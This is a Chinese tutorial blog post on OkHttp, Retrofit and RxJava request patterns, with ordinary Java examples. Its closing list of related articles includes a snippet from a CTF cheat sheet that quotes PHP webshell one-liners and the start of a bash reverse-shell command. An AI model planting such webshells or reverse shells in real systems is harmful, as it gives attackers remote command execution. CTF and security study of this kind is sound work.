OkHttp、Retrofit、RxJava:一文讲清楚
一、okHttp的同步和异步请求
Call 是 OkHttp 的核心接口,代表一个已准备好执行的 HTTP 请求。它支持 同步 和 异步 两种模式:
enqueue——>okHttp异步
OkHttpClient client = new OkHttpClient();Request request = new Request.Builder().url("https://example.com").build();client.newCall(request).enqueue(new Callback() {@Overridepublic void onResponse(Call call, Response response) throws IOException {System.out.println("Response: " + response.body().string());}@Overridepublic void onFailure(Call call, IOException e) {System.err.println("Request failed: " + e.getMessage());}
});
execute——>同步请求
特点
-
阻塞线程
请求发送后,当前线程会阻塞,直到服务器返回响应或超时。 -
直接返回结果
通过execute()方法直接返回Response对象,无需回调。 -
线程管理
不能在主线程中执行,否则会触发NetworkOnMainThreadException异常。同步请求必须在后台线程中执行,可以使用Thread、ExecutorService或 RxJava 等工具管理线程。 -
资源释放
Response对象实现了Closeable接口,使用try-with-resources语法确保资源释放。 -
超时设置
默认超时为 10 秒,可通过OkHttpClient.Builder自定义:
OkHttpClient client = new OkHttpClient();Request request = new Request.Builder().url("https://example.com").build();
try (Response response = client.newCall(request).execute()) {if (response.isSuccessful()) {System.out.println("Response: " + response.body().string());} else {System.err.println("Request failed: " + response.code());}
} catch (IOException e) {System.err.println("Request error: " + e.getMessage());
}
ExecutorService executor = Executors.newSingleThreadExecutor();
executor.execute(() -> {try (Response response = client.newCall(request).execute()) {if (response.isSuccessful()) {System.out.println
| 特性 | 同步请求(execute) | 异步请求(enqueue) |
|---|---|---|
| 线程阻塞 | 阻塞当前线程,直到请求完成 | 不阻塞线程,后台执行 |
| 结果获取 | 直接返回 Response 对象 | 通过 Callback 回调处理结果 |
| 线程管理 | 需手动管理线程,避免主线程阻塞 | 自动在后台线程执行,主线程无影响 |
| 适用场景 | 需立即获取结果的场景(如单元测试) | 需异步处理的场景(如网络请求) |
二、okHttp+Rxjava
Observable<Response> observable = Observable.create(emitter -> {Call call = client.newCall(request);call.enqueue(new Callback() {@Overridepublic void onResponse(Call call, Response response) {if (!emitter.isDisposed()) {emitter.onNext(response);emitter.onComplete();}}@Overridepublic void onFailure(Call call, IOException e) {if (!emitter.isDisposed()) {emitter.onError(e);}}});emitter.setCancellable(call::cancel);
});observable.subscribeOn(Schedulers.io()) // 在 IO 线程执行.observeOn(AndroidSchedulers.mainThread()) // 在主线程处理结果.subscribe(new Observer<Response>() {@Overridepublic void onSubscribe(Disposable d) {// 订阅时调用}@Overridepublic void onNext(Response response) {System.out.println("Response: " + response.body().string());}@Overridepublic void onError(Throwable e) {System.err.println("Error: " + e.getMessage());}@Overridepublic void onComplete() {// 请求完成时调用}});
二、Retrofit 的同步与异步用法,用Call发起请求
Retrofit 内部使用 OkHttp 作为 HTTP 客户端,这意味着在 Retrofit 的配置中,你可以定制 OkHttp 的各种参数(如超时设置、拦截器等)。
为了更好地支持异步编程,Retrofit 提供了 RxJava 的 CallAdapter。通过这个适配器,你可以让 API 接口直接返回 Observable、Single 等 RxJava 类型,从而使用 RxJava 的强大操作符来处理请求结果和错误。
public interface ApiService {@GET("users")Call<List<User>> getUsers();
}
Retrofit retrofit = new Retrofit.Builder().baseUrl("https://api.example.com/").addConverterFactory(GsonConverterFactory.create()) // 使用 Gson 进行 JSON 转换.build();ApiService apiService = retrofit.create(ApiService.class);
Retrofit同步请求
需在子线程中调用,否则会触发 NetworkOnMainThreadException
new Thread(new Runnable() {@Overridepublic void run() {try {Call<List<User>> call = apiService.getUsers();Response<List<User>> response = call.execute();if (response.isSuccessful() && response.body() != null) {List<User> users = response.body();// 处理返回的数据} else {Log.e("Retrofit", "Response error: " + response.code());}} catch (IOException e) {e.printStackTrace();}}
}).start();
Retrofit异步请求
Call<List<User>> call = apiService.getUsers();
call.enqueue(new Callback<List<User>>() {@Overridepublic void onResponse(Call<List<User>> call, Response<List<User>> response) {if (response.isSuccessful() && response.body() != null) {List<User> users = response.body();// 处理返回的数据,比如更新 UI} else {// 请求成功,但是服务器返回错误码,比如 404、500 等Log.e("Retrofit", "Response error: " + response.code());}}@Overridepublic void onFailure(Call<List<User>> call, Throwable t) {// 请求失败,比如网络错误或解析错误Log.e("Retrofit", "Request failed", t);}
});
三、Retrofit + RxJava 的同步/异步与线程统一处理,用Observable发起请求
Observable 是 RxJava 的响应式编程模型,用于处理异步数据流。其优势包括:
- 链式调用:通过操作符(如
map、flatMap)简化复杂逻辑。 - 线程调度:通过
subscribeOn和observeOn控制线程切换。 - 错误处理:通过
onErrorReturn或retry实现容错。
同步请求
public interface ApiService {@GET("users/{id}")Observable<User> getUserRx(@Path("id") int id); // 返回 Observable
}apiService.getUserRx(1).subscribeOn(Schedulers.io()) // 指定请求线程.observeOn(Schedulers.io()) // 指定响应处理线程.blockingSubscribe(user -> {// 同步阻塞获取结果});
异步请求
// 1. 定义 API 接口,使用 RxJava 的 Observable 作为返回类型
public interface ApiService {@GET("users")Observable<List<User>> getUsers();
}// 2. 配置 OkHttp 客户端(可添加拦截器、日志打印等)
OkHttpClient okHttpClient = new OkHttpClient.Builder()// 例如:添加日志拦截器// .addInterceptor(new HttpLoggingInterceptor().setLevel(HttpLoggingInterceptor.Level.BODY)).build();// 3. 配置 Retrofit,同时添加 Gson 转换器和 RxJava 适配器
Retrofit retrofit = new Retrofit.Builder().baseUrl("https://api.example.com/").client(okHttpClient).addConverterFactory(GsonConverterFactory.create()) // JSON 数据解析.addCallAdapterFactory(RxJava2CallAdapterFactory.create()) // RxJava 适配器.build();// 4. 创建 API 服务实例
ApiService apiService = retrofit.create(ApiService.class);// 5. 使用 RxJava 进行网络请求
apiService.getUsers().subscribeOn(Schedulers.io()) // 在 IO 线程执行网络请求.observeOn(AndroidSchedulers.mainThread()) // 在主线程处理返回结果.subscribe(users -> {// 成功回调,处理用户数据}, throwable -> {// 错误回调,处理异常情况});
| 方案 | 线程管理 | 代码复杂度 | 适用场景 |
|---|---|---|---|
| OkHttp 原生 | 手动切换 | 低 | 简单请求、低耦合场景 |
| Retrofit 原生 | 手动切换 | 中 | 接口化请求、中等复杂度 |
| Retrofit+RxJava | 自动统一管理 | 高 | 复杂异步流、高可维护性 |
四、具体使用Retrofit+RxJava
// 1. 定义服务接口
public interface UserService {@POST("/user/{userId}/profile")Observable<BaseResponse<UserProfile>> updateProfile(@Path("userId") String userId,@Body ProfileParams params);
}// 2. 发起请求
NetworkApi.createService(UserService.class, ServiceType.User.name()).updateProfile("123", new ProfileParams("Kimi", "avatar.jpg")).compose(NetworkApi.applySchedulers()).subscribe(new BaseObserver<UserProfile>() {@Overridepublic void onSuccess(UserProfile profile) {// 更新UI}@Overridepublic void onBusinessError(int code, String msg) {// 显示错误提示}});
设计优势:
- 责任链模式:每个方法专注单一职责(创建→配置→调度→响应)
- 类型安全:通过泛型确保数据模型一致性
- 异常隔离:BaseObserver集中处理网络/业务异常
- 线程透明:applySchedulers()隐藏线程切换细节
该模式常见于需要支持多环境、多服务类型的现代移动应用架构,特别适合企业级应用开发中需要统一管理API请求的场景。
这是典型的Retrofit+RxJava组合的网络请求链式调用写法,结合了工厂模式、建造者模式和响应式编程思想。其核心结构可分为四个关键部分:
1.服务实例创建
NetworkApi.createService(ApiService.class, ServiceType.License.name())
NetworkApi是自定义的工厂类,封装了Retrofit实例的创建过程createService()方法通过动态代理生成ApiService接口的实现类ServiceType.License.name()指定服务类型,通常用于动态配置baseUrl(如区分认证服务、业务服务等)
2.具体API操作
.action(id, params)
action()对应ApiService接口中定义的端点方法:
@POST("/api/{serviceType}/actions")
Observable<BaseResponse<T>> action(@Path("serviceType") String serviceType,@Body ActionParams params
);
id参数可能用于路径替换(@Path注解),params作为请求体(@Body注解)
3.线程调度组合
.compose(NetworkApi.applySchedulers(...))
compose()是RxJava的操作符,统一应用线程切换规则applySchedulers()典型实现:
4.观察者封装
new BaseObserver<BaseResponse<AccessConsentRecordDetailBean>>()
- 自定义的BaseObserver处理通用逻辑:
public abstract class BaseObserver<T> implements Observer<T> {@Overridepublic void onError(Throwable e) {// 统一错误处理(网络异常、业务异常等)}@Overridepublic void onNext(T response) {if (response.isSuccess()) {onSuccess(response.getData());} else {onBusinessError(response.getCode(), response.getMessage());}}
}
五、Flowable与Observable
Flowable与Observable是RxJava中两种核心的响应式数据流类型,结合Retrofit使用时需要根据具体场景进行选型。以下是两者的核心区别及在Retrofit中的实践建议:
| 类型 | 特性 | Retrofit集成场景 |
|---|---|---|
| Observable | 无背压机制的异步数据流,支持同步/异步操作,适合轻量级请求 | 简单API调用(如获取用户信息、配置数据) |
| Flowable | 支持背压控制的响应式流,内置5种策略处理生产消费速度差异 | 大文件传输、实时数据推送等高并发场景 |
核心区别
1. 背压处理机制
- Flowable
通过BackpressureStrategy配置策略(ERROR/BUFFER/DROP/LATEST/MISSING),在Retrofit中处理大数据流时需显式指定策略:
@GET("api/sensor-data")
Flowable<Data> getSensorData(@Query("deviceId") String id); // 默认使用ERROR策略[5](@ref)
- Observable
无背压控制,Retrofit接口直接返回Observable时需确保数据量可控,否则可能引发OOM
2. 线程模型
Flowable
强制异步订阅,Retrofit需配合subscribeOn(Schedulers.io())使用:
api.getSensorData("DEV001").subscribeOn(Schedulers.io()).observeOn(AndroidSchedulers.mainThread())
Observable
支持同步调用,适合快速响应的本地缓存查询:
@GET("api/profile")
Observable<User> getUserProfile(); // 同步获取用户数据[9](@ref)
3. 性能表现
- Flowable
因背压检测机制,吞吐量比Observable低约15-30%,但内存更安全 - Observable
无额外性能损耗,适合高频低数据量请求(如按钮点击事件统计)
4.集成实现
- BUFFER:文件下载(需注意内存监控)
Flowable.create(emitter -> {...}, BackpressureStrategy.BUFFER)
- DROP:实时股票行情推送(丢弃过时数据)
- LATEST:即时聊天消息(保留最新消息)
5.错误处理对比
- Observable需手动捕获异常:
.subscribe(data -> {...},error -> { // 需处理所有异常 }
)
- Flowable通过
onBackpressureXXX操作符自动处理:
.onBackpressureDrop(dropped -> log("丢弃数据:" + dropped))
性能优化建议
-
混合使用策略
对核心业务接口使用Flowable+BUFFER策略,非核心功能使用Observable -
动态缓存控制
通过rx2.buffer-size参数调整Flowable缓存池:System.setProperty("rx2.buffer-size", "256"); // 默认128[7](@ref) -
生命周期管理
使用CompositeDisposable统一释放资源:CompositeDisposable disposables = new CompositeDisposable();disposables.add(api.getDataStream().subscribe(data -> {...}));
通过合理选择Flowable与Observable,可使Retrofit网络层在保证稳定性的同时获得最佳性能。可以在金融交易、物联网等高频场景优先采用Flowable,而在常规业务API中使用Observable以降低复杂度。
相关文章:
OkHttp、Retrofit、RxJava:一文讲清楚
一、okHttp的同步和异步请求 Call 是 OkHttp 的核心接口,代表一个已准备好执行的 HTTP 请求。它支持 同步 和 异步 两种模式: enqueue——>okHttp异步 OkHttpClient client new OkHttpClient();Request request new Request.Builder().url("…...
netty详细使用
Netty是一个基于Java的高性能网络应用框架,主要用于快速开发高性能的网络通信应用程序。以下是Netty的详细使用步骤: 添加Netty依赖:在项目的pom.xml中添加Netty的依赖项,例如: <dependency><groupId>io…...
计算机视觉(opencv-python)入门之图像的读取,显示,与保存
在计算机视觉领域,Python的cv2库是一个不可或缺的工具,它提供了丰富的图像处理功能。作为OpenCV的Python接口,cv2使得图像处理的实现变得简单而高效。 示例图片 目录 opencv获取方式 图像基本知识 颜色空间 RGB HSV CV2常用图像处理方…...
ActiveMQ之VirtualTopic
一句话总结: VirtualTopic是为了解决持久化模式下多消费端同时接收同一条消息的问题。 现实中多出现这样一个场景: 生产端产生了一笔订单,作为消息MessageOrder发了出去。 这笔订单既要入订单系统归档,又要入结算系统收款&#x…...
第16届蓝桥杯模拟赛3 python组个人题解
第16届蓝桥杯模拟赛3 python组 思路和答案不保证正确 1.填空 如果一个数 p 是个质数,同时又是整数 a 的约数,则 p 称为 a 的一个质因数。 请问, 2024 的最大的质因数是多少? 因为是填空题,所以直接枚举2023~2 &am…...
UE5 Computer Shader学习笔记
首先这里是绑定.usf文件的路径,并声明是用声明着色器 上面就是对应的usf文件路径,在第一张图进行链接 Shader Frequency 的作用 Shader Frequency 是 Unreal Engine 中用于描述着色器类型和其执行阶段的分类。常见的 Shader Frequency 包括:…...
2.1部署logstash:9600
实验环境:关闭防火墙,完成java环境 yum -y install wget wget https://d6.injdk.cn/oraclejdk/8/jdk-8u341-linux-x64.rpm yum localinstall jdk-8u341-linux-x64.rpm -y java -version 1.安装logstash tar xf logstash-6.4.1.tar.gz -C /usr/local…...
SQL笔记#集合运算
目录 一、表的加减法 1、什么是集合运算 2、表的加法——UNION 3、集合运算的注意事项 4、包含重复行的集合运算——ALL运算 5、选取表中公共部分——INTERSECT 6、记录的减法——EXCEPT 二、联结(以列为单位对表进行联结) 1、什么是联结(JOIN) 2、内联结——INSER…...
多模态人物视频驱动技术回顾与业务应用
一种新的商品表现形态,内容几乎存在于手淘用户动线全流程,例如信息流种草内容、搜索消费决策内容、详情页种草内容等。通过低成本、高时效的AIGC内容生成能力,能够从供给端缓解内容生产成本高的问题,通过源源不断的低成本供给倒推…...
基于Matlab实现汽车远近光灯识别的详细步骤及代码示例
以下是一个基于Matlab实现汽车远近光灯识别的详细步骤及代码示例,主要通过图像处理技术来区分远光灯和近光灯。 整体思路 图像预处理:包括读取图像、灰度化、去噪等操作,以提高后续处理的准确性。边缘检测:找出图像中的边缘信息…...
多功能免费网络测速及问题诊断工具
软件介绍 在日常网络使用中,网络问题常常难以即时察觉,很多时候,只有当视频卡顿、网页加载半天没反应,乃至无法连接部分服务时,我们才惊觉网络出状况了。 这里有一款免费工具,专为家庭、办公以及跨国网…...
【算法设计与分析】(一)介绍算法与复杂度分析
【算法设计与分析】(一)介绍算法与复杂度分析 前言一、什么是算法?二、算法的抽象机制三、描述算法四、复杂度分析4.1 时间复杂度4.2 空间复杂度 前言 从搜索引擎的高效检索,到推荐系统的个性化推荐,再到人工智能领域…...
HTML5特殊字符
HTML中常用的特殊符号一般都以“&”开头,以“;”结束。...
使用python接入腾讯云DeepSeek
本文主要从提供SSE方式接入DeepSeek,并通过fastapi websocket对外提供接入方法。 参考文档: 腾讯云大模型:https://cloud.tencent.com/document/product/1759/109380 fastAPI官网:https://fastapi.tiangolo.com/ WebSocketManager…...
6.3 - UART串口数据发送之中断
文章目录 1 实验任务2 系统框图3 软件设计 1 实验任务 本实验使用中断方式实现UART串口数据的连续发送。 2 系统框图 参见6.1。 3 软件设计 注意事项: 系统上电、程序下载后,此时TX FIFO虽然为空,但并不会触发空中断;空中断…...
无法打开数据库 CAUsers\Public\EPLAN(Data\翻译\Company name\Translate.mdb。
eplan生成更新列表后报错,报错内容如下: 无法打开数据库 CAUsers\Public\EPLAN(Data\翻译\Company name\Translate.mdb。针对 64 位版本的EPLAN平台需要使用64 位版本的Microsoft Office。 原因:eplan的列表更新需要64位的微软办公软件版本支…...
将CUBE或3DL LUT转换为PNG图像
概述 在大部分情况下,LUT 文件通常为 CUBE 或 3DL 格式。但是我们在 OpenGL Shader 中使用的LUT,通常是图像格式的 LUT 文件。下面,我将教大家如何将这些文件转换为 PNG 图像格式。 条形LUT在线转换(不是8x8网络)&am…...
C语言(13)------------>do-while循环
1.do-while循环的语法 我们知道C语言有三大结构,顺序、选择、循环。我们可以使用while循环、for循环、do-while循环实现循环结构。之前的博客中提及到了前两者的技术实现。可以参考: C语言(11)------------->while循…...
FS800DTU联动OneNET平台数据可视化View
目录 1 前言 2 环境搭建 2.1 硬件准备 2.2 软件环境 2.3 硬件连接 3 注册OneNET云平台并建立物模型 3.1 参数获取 3.2 连接OneNET 3.3上报数据 4 数据可视化View 4.1 用户信息获取 4.2 启用数据可视化View 4.3 创建项目 4.4 编辑项目 4.5 新增数据源 4.6 数据过滤器配置 4.6 项…...
Linux 第三次脚本作业
源码编译安装httpd 2.4,提供系统服务管理脚本并测试(建议两种方法实现) 一、第一种方法 1、把 httpd-2.4.63.tar.gz 这个安装包上传到你的试验机上 2、 安装编译工具 (俺之前已经装好了) 3、解压httpd包 4、解压后的httpd包的文…...
[数据结构笔记]数据结构必要的C语言基础
数据结构必要的C语言基础 使用C语言学习数据结构之前有一些必要了解的基础,许多同学在初学数据结构时因为对这些知识不熟,导致了对数据结构的畏惧心理。实际上很大一部分来自C语言的基础 C语言 结构体与指针 在一些场景中,如果传递给函…...
CTF常用shell语句整理(webshell、反弹shell)
Web Shell <?php system($_GET[cmd]);?> <?php echo system($_GET[cmd]);?> <%3fphpsystem($_[cmd]);%3f> <%3fphpechosystem($_[cmd]);%3f>命令执行:访问 /?cmdwhoami. Reverse Shell <?php system(bash -i >& /dev/t…...
数据结构笔记——06树和二叉树
文章目录 一、树的基本概念1.树的定义2.树的逻辑表示方法3.树的基本术语4.树的性质5.树的基本运算6.树的存储结构1)双亲存储结构2)孩子链存储结构3)孩子兄弟链存储结构 二、二叉树的概念和性质1.二叉树的定义2.二叉树的性质3.二叉树与树、森林之间的转换1)森林、树转换为二叉树…...
蓝禾,oppo,游卡,汤臣倍健,康冠科技,作业帮,高途教育25届春招内推
蓝禾,oppo,游卡,汤臣倍健,康冠科技,作业帮,高途教育25届春招内推 ①康冠科技 【职位】算法、软件、硬件、技术,结构设计,供应链,产品,职能,商务 【…...
蓝桥杯之日期题
文章目录 1.蓝桥杯必备知识点2. 题型13.需求2 1.蓝桥杯必备知识点 蓝桥杯是一个面向全国高校计算机相关专业学生的学科竞赛,涵盖多个赛道,常见的有软件类(如 C/C 程序设计、Java 软件开发、Python 程序设计)和电子类(…...
大模型在尿潴留风险预测及围手术期方案制定中的应用研究
目录 一、引言 1.1 研究背景与意义 1.2 研究目的 1.3 研究方法与数据来源 二、大模型预测尿潴留的原理与方法 2.1 相关大模型介绍 2.2 模型构建与训练 2.3 模型评估指标与验证 三、术前尿潴留风险预测及方案制定 3.1 术前风险因素分析 3.2 大模型预测结果分析 3.3 …...
PV Elite 27是专业的压力容器和热交换器设计解决方案
Intergraph PV Elite 27是专业的压力容器和热交换器设计解决方案。提供完整的容器和热交换器的设计,分析和评估解决方案。提供的完整的容器设计和分析、交换器设计和分析、管板设计和分析、矩形和非圆形容器分析、单个组件分析、综合误差检查、鞍座/支腿/吊耳/耳轴和…...
Visual Studio 中的 /MD 与 /MT、动态库与静态库的深入解析
文章目录 1. /MD 与 /MT 的区别1.3 调试版本1.4 注意事项 2. 动态库与静态库的联系与区别2.3 联系与区别 3. 结合你的错误分析3.1 错误原因3.2 解决方案3.3 经验教训 4. 总结 在 Visual Studio 中进行 C/C 项目开发时,开发者经常需要对运行时库选项(例如…...
QT入门--QMainWindow
从上向下依次是菜单栏,工具栏,铆接部件(浮动窗口),状态栏,中心部件 菜单栏 创建菜单栏 QMenuBar* mybar1 menuBar(); 将菜单栏放到窗口中 setMenuBar(mybar1); 创建菜单 QMenu *myfilemenu mybar1-…...
深圳南柯电子|医疗设备EMC测试整改检测:零到一,保障医疗安全
在当今医疗科技飞速发展的时代,医疗设备的电磁兼容性(EMC)已成为确保其安全、有效运行的关键要素之一。EMC测试整改检测不仅关乎设备的性能稳定性,更是保障患者安全、避免电磁干扰引发医疗事故的重要措施。 一、医疗设备EMC测试整…...
